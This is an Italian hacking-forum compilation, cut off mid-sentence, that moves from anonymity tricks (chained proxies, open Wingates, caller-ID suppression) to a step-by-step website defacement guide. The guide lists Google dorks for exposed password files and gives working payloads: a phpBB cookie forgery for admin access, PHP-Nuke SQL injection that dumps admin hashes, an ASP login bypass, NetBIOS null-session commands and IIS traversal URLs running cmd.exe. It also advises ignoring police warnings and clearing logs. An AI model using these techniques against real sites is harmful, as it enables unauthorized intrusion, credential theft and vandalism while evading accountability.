possono creare fake-account a volonta', utilizzando un generatore di
identita'(tipo quello di Cavallo de Cavallis).
Naturalmente per effettuare l'abbonamento on-line, si dovranno rispettare alcune
regole auree: una l'abbiamo gia' vista, ovvero la "disabilitazione" del CLI
mettendo il numero 1793 prima del numero da chiamare, l'utilizzo di proxy.
0x00.3 Proxy
------------
Uno dei problemi principali del newbie e del wannabe e' come nascondere o
cambiare il proprio ip durante la navigazione o per entrare in IRC.
I browser (Explorer, Netscape) prevedono l'uso di "proxy", ovvero computer che
si frappongono tra noi e il resto della rete; quando cerchiamo di recuperare
una pagina sul web, il nostro browser contattera' il proxy, e sara' quindi
quest'ultimo a "prelevare" il documento html e a inviarlo a noi; vantaggio di
questa operazione e' che l'ip loggato dal server di destinazione (dove
abbiamo prelevato la pagina) sara' quello del proxy e non il nostro.
Attenzione pero': non tutti i proxy sono anonimi. Questo significa che in alcuni
casi il proxy lascia "filtrare" il nostro ip reale che restera' nei log del
server. Prima di usare un proxy, ci si doverebbe sempre assicurare che si tratta
di un proxy anonimo che non rivela il nostro ip. Questo testo puo' essere
effettuato collegandosi a
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
, una paginache fa un test sul grado di anonimato del nostro sistema.
Comunque anche utilizzando un proxy anonimo non vi dovete sentire sicuri, anzi.
Sarebbe opportuno concatenare due o piu' proxy prima di collegarsi al vero
obbiettivo. Come ? Innanzitutto questa tecnica funziona solo con alcuni tipi
di proxy, i Delegate; quando avete trovato alcuni Delegate, dovete mettere
nella barra del browser la seguente stringa:
http://proxy1.url:port/-_-http://proxy2.url:port/-_-
dove proxy1,proxy2 e proxy3 sono gli indirizzi dei proxy Delegate che avete trovato.
Ricordate: piu' proxy mettete, piu' diminuiscono le probabilita' di essere
rintracciati, ma aumenta anche il tempo di latenza, rallentando la
navigazione.
Ma anche i proxy loggano...
0x00.4 Socks
------------
Nelle reti protette da firewall gli host interni entrano in Internet attraverso
un servizio speciale: Socks.
Questo protocollo la cui porta di default e' la 1080, permette alle applicazioni
che lo supportano di collegarsi a Internet in modo indiretto, con il firewall
che fa da tramite. Il principio e' lo stesso del proxy per http, ma il range
di applicazioni e' piu' vasto. In pratica ogni applicazione che supporta Socks,
puo' collegarsi a Internet tramite Socks. Il vantaggio e' come al solito che
l'ip che appare non e' piu' il nostro ip reale, ma quello del firewall; inoltre
nuke & DoS vari del lamer di turno saranno diretti al firewall, lasciando
del tutto indifferente la nostra macchina!
L'utilizzo dei Socks e' classico nel mondo di IRC, ma puo' essere utilizzato
anche con altre applicazioni; Volete proprio usare il Netbus? Ok, ma almeno
non fatevi beccare subito con il vostro ip vero... usate un Socks. Volete
fare del port-surfing manuale con il Telnet? Usate Socks...
Certo, non tutti i programmi prevedono l'uso di Socks (per esempio, il Telnet di
serie di Windows non lo supporta), ma grazie a un programma tipo SocksCap si
puo' fare in modo che TUTTI i programmi di rete (compreso il Telnet standard di
Windows) possano collegarsi in modo "anonimo". In questo modo e' possibile
anche inviare email tramite Outlook o Eudora senza la paura di esporre il
nostro ip reale, ma quello per esempio di un computer del governo di Taiwan...
0x00.5 Wingate
--------------
Wingate e' un porgramma per Windows che permette di collgare piu' macchine
tramite una sola connesisone Internet, tramite le funzioni di proxy http,
Socks, proxy ftp, telnet...
In Internet si trovano molti Wingate mal configurati che permettono l'accesso
anche a utenti non autorizzati (noi!). Il meccanismo e' quello visto il precedenza
per i proxy e i Socks (ovvero l'ip che viene lasciato in giro e'quello del
Wingate e non il nostro), ma ha una modalita' di utilizzo diversa.
Lanciate il Telnet e collegatevi alla porta 23 del Wingate, se tutto e' Ok
avrete un prompt del genere:
Wingate>
a questo punto mettete l'indirizzo dell'host al quale vi volete collegare, segutio
dal numero di porta:
Wingate>bill.whitehouse.gov 23 (Naturalmente sto scherzando: lasciate stare i
.gov...)
a questo punto il vostro ip e' al sicuro (relativamente, come sempre).
Anche nel caso dei Wingate e' buona norma concatenare piu' Wingate tra di
loro, cosi:
quando avete il prompt del Wingate (Wingate>) inserite l'indirizzo di un altro
Wingate,e poi un altro... infine l'indirizzo dell'host da attaccare.
Certo aumenta il lag, ma e' sempre meglio che andare in galera...
0x00.6 Trovare Proxy, Socks & Wingate
-------------------------------------
Altro problema annoso del novello "hacker": dove li trovo i proxy & i Wingate ?
Esistono diversi modi per procurarsi questi indirizzi. Il piu' immediato
(e il meno redditizio) e' quello di andare su uno di quei siti che pubblicano
liste di proxy e socks (proxy4all.cgi.net, la sezione apposita in
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
e altri...). Il problema e' che questi proxy durano pochissimoo non funzionano affatto... Conviene arrangiarsi in altro modo.
Procuriamoci uno scanner e lanciamolo in giro x la rete, prima o poi qualcosa
troviamo.
Per informazione, le porte su cui trovare qualcosa sono le seguenti:
8080 proxy http
3128 proxy http
81 proxy http
1080 Socks
Un altro modo efficace x trovare Socks e' quello di entrare in IRC e dare il
comando
/stats k
per avere la lista dei k-line, ovvero la lista di host "bannati". Molti host
della lista saranno Socks bannati da quel server ma perfettamente funzionanti
x altri scopi!
Siete pigri e non avete voglia di cercare? Aspettate che i Socks vengano a voi!
Lanciate il Nukenabber e navigate tranquillamente (oppure andate su un canale
molto frequentato in IRC); Alla fine della serata date uno sguardo al log del
Nukenabber: tra i vari tentativi di lamer con BO & Netbus, forse ci sara' anche
qualche indirizzo di Socks utilizzabile...
Altre tecniche potete trovarle nel mio articolo "Gabole nella Rete", reperibile
sul mio sito e sul numero 0 di "Lightz".
0x00.7 Pericoli
---------------
Per iniziare bisogna dire che NESSUNA tecnica qui esposta garantisce l'anonimato
assoluto, esiste sempre un margine di pericolo.
Dal momento della connessione dial-up con il provider alla connessione tramite
TCP/IP in Internet, lasciamo un mare di tracce ovunque.
La compagnia telefonica ha sempre e comunque il nostro vero numero, anche se
usiamo il BIC. I vari proxy che usiamo molto probabilmente (anzi, sicuramente)
loggano tutto il traffico, cosi'come i Socks: forse c'e' qualche speranza con
i Wingate. Assolutamente da evitare gli host "boservizzati" o cmq "trojanizzati".
Forse il metodo piu' sicuro e' quello di essere root su di un sistema e avere la
la possibilita' di "ripulire" per bene i log.
Da non dimenticare poi la possibilita' di mettere nei guai gli ignari possessori
di host compromessi (ancora una volta: trojan e backdoor varie) o i responsabili
dei sistemi che usiamo per "rimbalzare" (Wingate, proxy...).
0x00.8 Fonti
------------
Faqtel per le info sul CLI.
Genesis per la concatenazione dei proxy Delegate.
La lettura di un po' di manuali (RTFM!).
Convertire file Bat in file Exe (per i vostri virussini):
scaricate i programmi:
Bat2Com ed Exe2Com2Exe
Una volta scaricati estraeteli in una cartella,ora inserite il file bat nella cartella del programma Bat2Com ed aprite il prompt di ms-dos(Start-Esegui-Cmd)
Ora spostatevi nella directory dove risiede il programmino Bat2Com e anke il file Bat con il comando "Cd",esempio:
Cd C
ocuments and SettingsUserDesktopBat2Com Oppure quando aprite il prompt vi ritrovate con gia inserito il percorso C
ocuments and SettingsUser e quindi dovrete solo scrivere:Cd DesktopBat2Com
ATTENZIONE!DOVE HO INSERITO USER DOVRà ESSERE IL VOSTRO USER!
Ora,una volta ke ci siamo spostati dal Prompt nella cartella Bat2Com scriviamo:
Bat2com.com FileBat.bat
Dove c'è FileBat.bat sarà il nome del vostro file in Bat!
Adesso nella cartella vi apparirà il vostro file bat ma con estensione .COM!
Ora,portate il file .COM nella directory di Com2Exe2Com(Si chiama di solito C2E_E2C)e fate lo stesso procedimento,da Prompt spostatevi nella directory C2E_E2C e scrivete:
C2E.COM FILEBAT.COM
Dove c'è filebat.com sarà il file che vi è stato trasformato in .COM dal programma Bat2Com!
Ora nella cartella vi apparirà il vostro programmino ma con estensione .EXE!!!!!
Adesso avrete il vostro programmino in .exe(Secondo me lo userete + x i virus ma cmq ^^")
ED ORA UNA GRANDISSIMA GUIDA AL DEFACE :
{PREFAZIONE}
##################################################################################
#In questa guida spiegherಠdiverse tecniche per defacciare un sito in diverse #
#situazioni! #
#All'inizio studieremo le pi๠banali vulnerabilità nel caso le trovaste ma pi๠#
#avanti si comincia con i metodi DRASTICI se nel caso queste piccole vulnerbilità #
#non funzionino
###################################################################################
{CAPITOLO 1}
Prima di cominciare con la Pratica ovviamente ci tocca la Teoria!
Prima di tutto dovete sapere cosa significa DEFACE!
Deface significa in parole semplici HACKERARE UN SITO!
Questo è possibile grazie allo sfruttamento di BUG e di alcune tecniche
che andrಠa spiegare DOPO!
In questa guida infatti vedremo come comportarci nelle diverse situazioni!
Utilizzeremo:Proxy,Exploit,GoogleHacker!
Tutto Spiegato!
Adesso mettiamoci all'opera!
In ogni Deface dovete sapervi PROXARE!
Nel Secondo capitolo studieremo proprio Questo!
Buona Lettura a tutti da Crashinside =)
{CAPITOLO 2}
In questo capitolo studieremo come PROXARCY!
Proxarcy deriva da PROXY!
Il proxy è un modo per camuffare il nostro IP dietro un altro così in rete quando
tenteremo un attacco non apparirà il nostro vero IP!
Per fare ciಠconsiglio di scaricare il programma "TOR"
(disponibile su
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
)Una volta scaricato avviamo l'installazione e spuntiamo
le caselle TOR e PRIVOXY che ve lo chiederà quando dovrete scegliere
i componenti da installare!
Ora,andate in C:ProgrammiTor e avviamo tor.exe
Vi dovrebbe apparire una schermata di DOS.
Ora andiamo in C:ProgrammiPrivoxy e avviamolo!
Si dovrebbe chiudere la schermata di DOS e ora andando nel Browser
e poi nelle opzioni PROXY inserire
HTTP Proxy: localhost
Port: 8118
Ora,aggiorniamo il Browser e andiamo su
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
e noteremoun ip che non è nostro!
Bene!Adesso noteremo la connessione ultra lenta!Pultroppo i proxy sono così!
VORREI RICORDARE UNA COSA!
SE SIETE PROXATY E TENTATE AD ESEMPIO DI ENTRARE IN MSN NON VI FARà ENTRARE!
DOVRETE PRIMA DISATTIVARLI!
Ok,ora la nostra lezione sul Proxy è finita!
Adesso si fa sul serio!Ci vediamo nel prossimo capitolo
{CAPITOLO 3}
In questo capitoletto parleremo del GOOGLE HACKER!
E cioè???
Cioè che in questo capitolo vedremo come sfruttare GOOGLE
in un altro modo =)
Infatti inserendo alcune STRINGHE chiamate QUERY
potremo scovare SITI VULNERABILI,PASSWORD e tanto altro!
Io vi posto le Query pi๠comuni,e vi spiegherಠdue comandini
molto utili!
Vi serve solo un pizzico di fantasia per ottenere tutto ciಠche volete ;)
ECCO LE QUERY:
allinurl:admin.php site:.edu
Filetype: trova archivio .pdf, .ps, .doc, .xls, .txt, .ppt, .rtf, .asp, .wpd...
"Index of /admin"
"Index of /root"
"Index of /password"
"Index of /" +passwd
allintitle: "index of/admin"
allintitle: restricted filetype:doc site:gov
intitle:"index of private"
allinurl:auth_user_file.txt
intitle:"Index of" config.php
intitle:index.of.etc
filetype:xls username password email
intitle:"Index of" ".htpasswd" "htgroup" -intitle:"dist" -apache -htpasswd.c
intitle:"Index of" ".htpasswd" htpasswd.bak
inurl:config.php dbuname dbpass
intitle:"Index of" master.passwd
intitle:"Index of" .mysql_history
intitle:"index of" trillian.ini
intitle:"Index of" spwd.db passwd -pam.conf
intitle:"Index of" pwd.db
intitle:"Index of" secring.bak
intitle:"Index of" "people.lst"
intitle:"Index of..etc" passwd
intitle:"Index of" passwd passwd.bak
intitle:index.of passlist
intitle:"Index of" .bash_history
intitle:"Index of" .sh_history
site:edu grades admin
filetype:htaccess basic
intitle:"Index of" finances.xls
"This report was generated by WebLog"
"phpinfo.php" –manual
intitle:Index.of robots.txt
intitle:"Index of" _vti_inf.html
intitle:"Index of" service.pwd
intitle:"Index of" shtml.dll
intitle:"Index of" shtml.exe
intitle:"Index of" fpcount.exe
intitle:"Index of" default.asp
intitle:"Index of" htimage.exe
intitle:"Index of" default.asp
intitle:"Index of" AT-admin.cgi
intitle:"Index of" glimpse
intitle:"Index of" guestbook.cgi
intitle:"Index of" perl
intitle:"Index of" show
intitle:"Index of" index.html~
intitle:"Index of" stats.html
inurl:shop "Hassan Consulting's Shopping Cart Version 1.18"
intitle:"Welcome to Windows 2000 Internet Services"
intitle:"Welcome to IIS 4.0"
"powered by openbsd" +"powered by apache"
"Powered by phpBB 2.0.0"
Le Query ALLINURL: e INURL: vi serviranno
se volete ricevere nelle vostre ricerche
i LINK contenete l'indirizzo che cercate allora
queste fanno a caso vostro!
Quindi se volete ad esempio scovare il modulo
login dell'admin(in siti ASP che vedremo pi๠avanti)
utilizeremo in google:
Allinurl:/admin.asp
Inurl:/admin.asp
Ecc...
Spero di essere stato Chiaro!
Andiamo al prossimo capitolo dove cominceremo a fare sul serio ;)
{CAPITOLO 4}
Ok,in questo capitolo cominciamo a imparare una Tecnica!
Roba facile
Infatti ci occuperemo di Defacciare Forum PhpBB sfruttando
un semplice BUG ovvero cambiando il codice GUEST in QUELLO ADMIN
nel file dei COOKIES
A,una cosa...non andate in crisi se non trovate forum vulnerabili
dato che al giorno d'oggi non ce ne sono tantissimi!
Potrete sempre usare il programma PHPBB DEFACER(disponibile nella sezione DOWNLOAD)
Per defacciare forum phpbb inferiori alla versione 2.0.10
Cominciamo Subito!
Ora in questo capitolo traccerಠtutti i passaggi per defacciare i forum PHPBB
1)Andate su un motore di ricerca google o
altavista(consiglio altavista perchè trova + pagine di google quindi pi๠possibilita
di trovare un forum vulnerabile)quindi prendiamo in esempio altavista
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
2)Nella ricerca scrivete: Powered By Phpbb 1.0.12
3)Ora cercate un forum vi spiego un trukketto,vedete il link quello con + probabilita di defacing
sn qll ke nel link hanno ad es:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
oppure Perfavore,
Entra
oppure
Registrati
per vedere i Link!
ecc qnd trovate la 2 opzione cancellate ?members e rimanete /index.php per arrivare alla pagina iniziale del forum!
4)Andate in C
ocuments and SettingsUSERDati applicazioniMozillafirefoxLettereNumeri*(leggete in basso)*=Dp firefox troverete una serie di lettere e numeri a random xco ogni cartella è diversa,ovviamente in
qst esempio abbiamo preso in esame il BROWSER MOZILLA!
5)Una volta entrato nella cartella clikkate su COOKIES.TXT fate ALT+T e inserite nella ricerca il nome
del sito ke volete defacciare xke in pratica qnd avete aperto il forum php per
l'identificazione vi ha registrato i cookie!
6)Una volta trovato controllate se vi appare una stringa tipo qst:
phpbb2mysql_data se ce l'ha il forum puo essere vulnerabile,dipende tutto dal codice Guest ke troverete
affianco,di solito è: a%3A07Bma puo essere anke diverso!
7)Una volta individuato il codice guest inserite al posto del codice questa
STRINGA:
##################################################################
#a%3A27Bs%3A1122autologinid%22%3Bb%3A1%3A622userid%22%3A1222%227D#
##################################################################
(Piccola parentesi,se al posto del codice GUEST troverete questa stringa,nn si fa niente,il forum nn è vulnerabile!)
8)Ora salvate i cookie(nn clikkate sulla [X] per uscire e fare salva xke mi è capitato d nn salvarmeli quindi FILE,SALVA)
9)Kiudete tt le pagine del browser ke avete,tutte quante altrimenti vi riportera i
cookie cm erano prima!(Naltra parentesi nn fate aggiorna xke nn funziona xD)
10)Riaprite il forum e dovreste essere ADMIN!
P.S nn sempre vi mette admin anke se trovate la data e il codice guest nn significa niente!
Volevo darvi un consiglio,se nel caso entrate cm admin e x caso nn vi esce il pannello admin 2 sn i motivi:
1)L'admin per sicurezza ha creato 1 account admin senza possibilita di entrare nel pannello o qlk del genere
2)Il pannello è nascosto(A ME è CAPITATO)!
Questa era una guida che avevo scritto gia e che potrete trovare sul mio sito!
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Passiamo subito al prossimo capitolo =)
{CAPITOLO 5}
Adesso faremo finta di trovare un sito che vogliamo Hackerare!
Facciamo finta che il sito sia
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Ora se il sito è in PHP-NUKE proxandoci
proviamo ad iniettare un SQL-INJECTION!
Ad esempio se il sito ha il motore di RICERCA potremmo iniettare SQL-INJECTION in questo modulo!
Ma,cosa è questo SQL-INJECTION?
L'Sql-Injection è un iniezione di codice e utilizzandolo
potremo riuscire a rubare Password hashate in MD5 ovviamente
contro la volontà del sito!
Ok,dopo questa piccola teoria sull'sql-injection inseriamo il seguente
CODICE(SQL-INJECTION) nel motore di ricerca:
############################################################################
#p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*#
############################################################################
Ovviamente senza i "#"
Adesso se il nostro SQL-INJECTION è andato a BUON FINE ci ritroveremo
uno o pi๠password hashate in MD5 tanto quanto sono gli ADMIN,in pi๠sotto
ci sarà scritto una cosa tipo "CONTRIBUTO DI ZAK" questo ZAK sarà proprio
l'username-admin che utilizzeremo per loggare con la sua password che ora è hashata!
Le password per riconoscerle sono fatte da NUMERI e LETTERE insieme
tipo come se fosse una STRINGA!
Adesso vi chiederete:
Ok,abbiamo sta password HASHATA ma non possiamo LOGGARE dato che è CRIPTATA
Che si fa??????
Bhè potremmo provare a DECRIPTARLA no?
Basta prendere un programmino come MD5 o CAIN & ABEL
(Tutti disponibili su
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
) inserire l'hash e decriptarlo!
Una volta decriptato basta andare nel modulo di login dell'admin(di solito /admin.php)
inseriamo username inseriamo quello che abbiamo trovato sotto la password
hashata,ovvero dove abbiamo trovato: "CONTRIBUTO DI ZAK"(ZAK è un PURO ESEMPIO!)
Adesso siamo entrati come ADMIN!
Ma,se non fosse Così?ad esempio,se non c'è il modulo SEARCH?
Bhè se non c'è possiamo provare a fare una cosa...
Andiamo ad esempio nel modulo DOWNLOAD
Notiamo l'indirizzo,ad esempio potremo trovare:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Se al posto di name=Download inseriamo "name=Search"
Se non si apre niente proviamo a mettere:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
oppure Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Se non ve lo apre o dice MODULO NON ATTIVO,con il search non si fa nulla!
Proviamo con la TOP10!
Il link della top10 è:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Facciamo la stessa cosa per il Search nel caso non ci fosse nella home il modulo Top10
Inseriamo affianco alla stringa modules.php?name=Top
il seguente SQL-INJECTION(SEMPRE DA PROXATY)
####################################################################################
#&querylang=%20WHERE%201=2%20UNION%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors#
####################################################################################
Ora,nella parte dei SONDAGGI(mi sembra)dovreste trovare le Password Hashate!
Fate lo stesso procedimento di sopra e loggate come ADMIN!
VORREI RICORDARE UNA COSA:
AVVOLTE DOPO INIETTATO UN SQL-INJECTION POTREBBE USCIRE UN IMMAGINE CHE DICE
CHE VERRà CONTATTATA LA POLIZIA FBI O ROBA SIMILE!
NON SPAVENTATEVI,è SOLO PER SPAVENTARE
Ora,andiamo al capitolo successivo dove impararete a defacciare un sito in ASP!
{CAPITOLO 6}
In questo capitolo spiegherಠcome Defacciare siti in piattaforma ASP!
Questo è pi๠semplice!
Ammettiamo il caso che il nostro caro sito(
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
)sia in ASP,come si agisce?
Semplice,si tenta un ASP-INJECTION nel modulo di login admin!
Di solito è
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
oppurePerfavore,
Entra
oppure
Registrati
per vedere i Link!
Se non è così provate a cercare su GOOGLE: ADMIN SITOVITTIMA.IT o qualcosa
del genere,per far trovare il modulo di login dell'admin!
Ora iniettiamo l'ASP-INJECTION{L'ASP INJECTION è UGUALE ALL'SQL-INJECTION
SOLTANTO CHE OVVIAMENTE I CODICI SARANNO DIVERSI}
inserendo:
Username: admin
Password: ' or '
Adesso,dovrebbe entrarvi come admin!
Se non fosse così,bhè vediamo nei capitoli dove utilizzeremo
del deface avanzato!
Ora passiamo al prossimo Capitolo!
{CAPITOLO 7}
Bene,siamo giunti anche a questo capitolo
Ok,allora cominciamo subito!
Abbiamo tentato l'SQL-INJECTION ma non è andato
abbiamo tentato ASP-INJECTION e manco,allora che si fa?
Si usano metodi Drastici =D
Come si suol dire: "A MALI ESTREMI,ESTREMI RIMEDI" xD
Ok,abbiamo fatto la battuta mo vogliamo vede che dobbiamo fa?
Allora in questi casi se abbiamo fallito con asp e sql injection
Prima di tutto,prendiamo l'ip del sito da Defacciare,facendo finta che il sito sia
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
questo modo:Apriamo il Prompt di Ms-Dos:
START-ESEGUI e scriviamo CMD
Ora scriviamo:
nslookup sitovittima.it
Il prompt risponderà :
Server: ns017dns.fastweb.it
Address: 62.101.81.80
Risposta da un server non di fiducia:
Nome: sitovittima.it
Addresses: 127.0.0.1
Ovviamente l'ip e il sito sono falsi quindi ho messo 127.0.0.1 come esempio :P
ora,noteremo che appariranno due IP!
Prendiamo il secondo IP,ovvero l'ip del sito!
Ora,ci potrebbe essere molto utile fare un WHOIS!
Piccola parentesi su cosa è il WHOIS:
Con il whois è possibile prendere i dati di registrazione al dominio del sito:
ad es:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
che è un dominio a pagamento e non gratis tipo altervista,l'admin ha dovuto dare i propri dati,e quindi facendo un whois è possibile ricavare:
nome,cognome,indirizzo e tanto altro ancora!
Ora,effettuiamo il WHOIS da questo sito:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Bene,ora prendiamo un BUON PORT SCANNER(nella sezione Download potete prendere ad es RETINA!)
Facciamo uno scanner e così individueremo tutti i servizi sfruttati dal server!
Ad esempio ci uscirà :
21 [Ftp => File Transfer Protocol] 220 BulletProof FTP Server ready ...
22 [OpenSSH 3.1]
80 [Http => World Wide Web, HTTP]HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.1
135 [epmap => DCE endpoint resolution]
139 [Netbios-ssn => NETBIOS Session Service]
443 [HttpS => Secure HTTP]
445 [Microsoft-Ds]
Adesso si Attacca!
Per attaccare,vediamo se il sito è vulnerabile a qualche vulnerabilità tipo:
Xss,Remote File Include,Sql-Injection,Asp-Injection e così Via(TUTTE TECNICHE SPIEGATE IN GUIDE HACKER)
Se non è vulnerabile potremo provare utilizzando i famicerati EXPLOIT!
Andiamo su siti per Exploit e Vulnerabilità tipo:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Adesso cerchiamo un exploit adatto ai dati presi,ovvero ai servizi sfruttati(CON IL PORTSCANNER) e al sistema operativo(DAL WHOIS)
e cominciamo a cercare un bel exploit!
Ora avviamo l'exploit,se funge Ok,ma se non funge potremo vedere ad esempio se il sito ha la porta 139 APERTA!
Ovvero quella di Netbios!
Se è così apriamo il prompt di ms-dos e scriviamo questo codice:
NET USE 192.10.10.1IPC$ "" /u:""
Se vi risponderà :
Esecuzione Comando Riuscita
Abbiamo effetuato una NULL SESSION
Piccola parentesi sulla NULL SESSION:
La NULL SESSION è una connessione stabilita sul netbios
senza essere registrati o altro!
Adesso vediamo i servizi publici del nostro amichetto Mr. Green
Scriviamo nel Prompt:
net view 127.0.0.1
Ci risponderà :
Risorse condivise su 127.0.0.1
Nome condivisione Tipo Utilizzato come Commento
-------------------------------------------------------
winnt Disco
SharedDocs Disco
Personale Disco
Esecuzione comando riuscita.
Bhè non dimentichiamoci che abbiamo trovato la porta 80 con il servizio
IIS!
Con questo servizio è possibile sfruttare una vulnerabilità per accedere a tutte
le directory!
Scriviamo nella barra indirizzi del browser uno dei seguenti "EXPLOIT"
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
.. %255cwinnt/system32/cmd.exe?/c+dir+c:Perfavore,
Entra
oppure
Registrati
per vedere i Link!
.. %255cwinnt/system32/cmd.exe?/c+dir+c:Perfavore,
Entra
oppure
Registrati
per vedere i Link!
.. %255cwinnt/system32/cmd.exe?/c+dir+c:Perfavore,
Entra
oppure
Registrati
per vedere i Link!
.. %255cwinnt/system32/cmd.exe?/c+dir+c:Perfavore,
Entra
oppure
Registrati
per vedere i Link!
.. %255cwinnt/system32/cmd.exe?/c+dir+c: Altrimenti se ha la porta 139 aperta
sempre su MILW0RM o SECURITYFOCUS troviamo degli exploit o bug per la 139!
Oppure,utilizzare il metodo per entrare nei FILE CONDIVISI
(c'è la guida ENTRARE IN UN HARD DISK TRAMITE NETBIOS nella sezione GUIDE HACKER)
{CAPITOLO 8}
In questo capitolo utilizzeremo il bug del REMOTE FILE INCLUDE!
Quindi utilizzeremo una SHELL:
Tra le pi๠famose troviamo la C99 e la R57!
Nella sezione DOWNLOAD-PROGRAMMI HACKER E UTILITY le trovere 8)
Io consiglio la C99!
Facciamo un po di Teoria =)
######################################################################
#La C99 è una shell fatta in PHP,che hostandola su un FTP e poi #
#sfruttando il BUG dell'autoiniezione (che ne parleremo pi๠avanti)la#
#iniettate in 1 sito vulnerabile e vi ritroverete d'avanti co
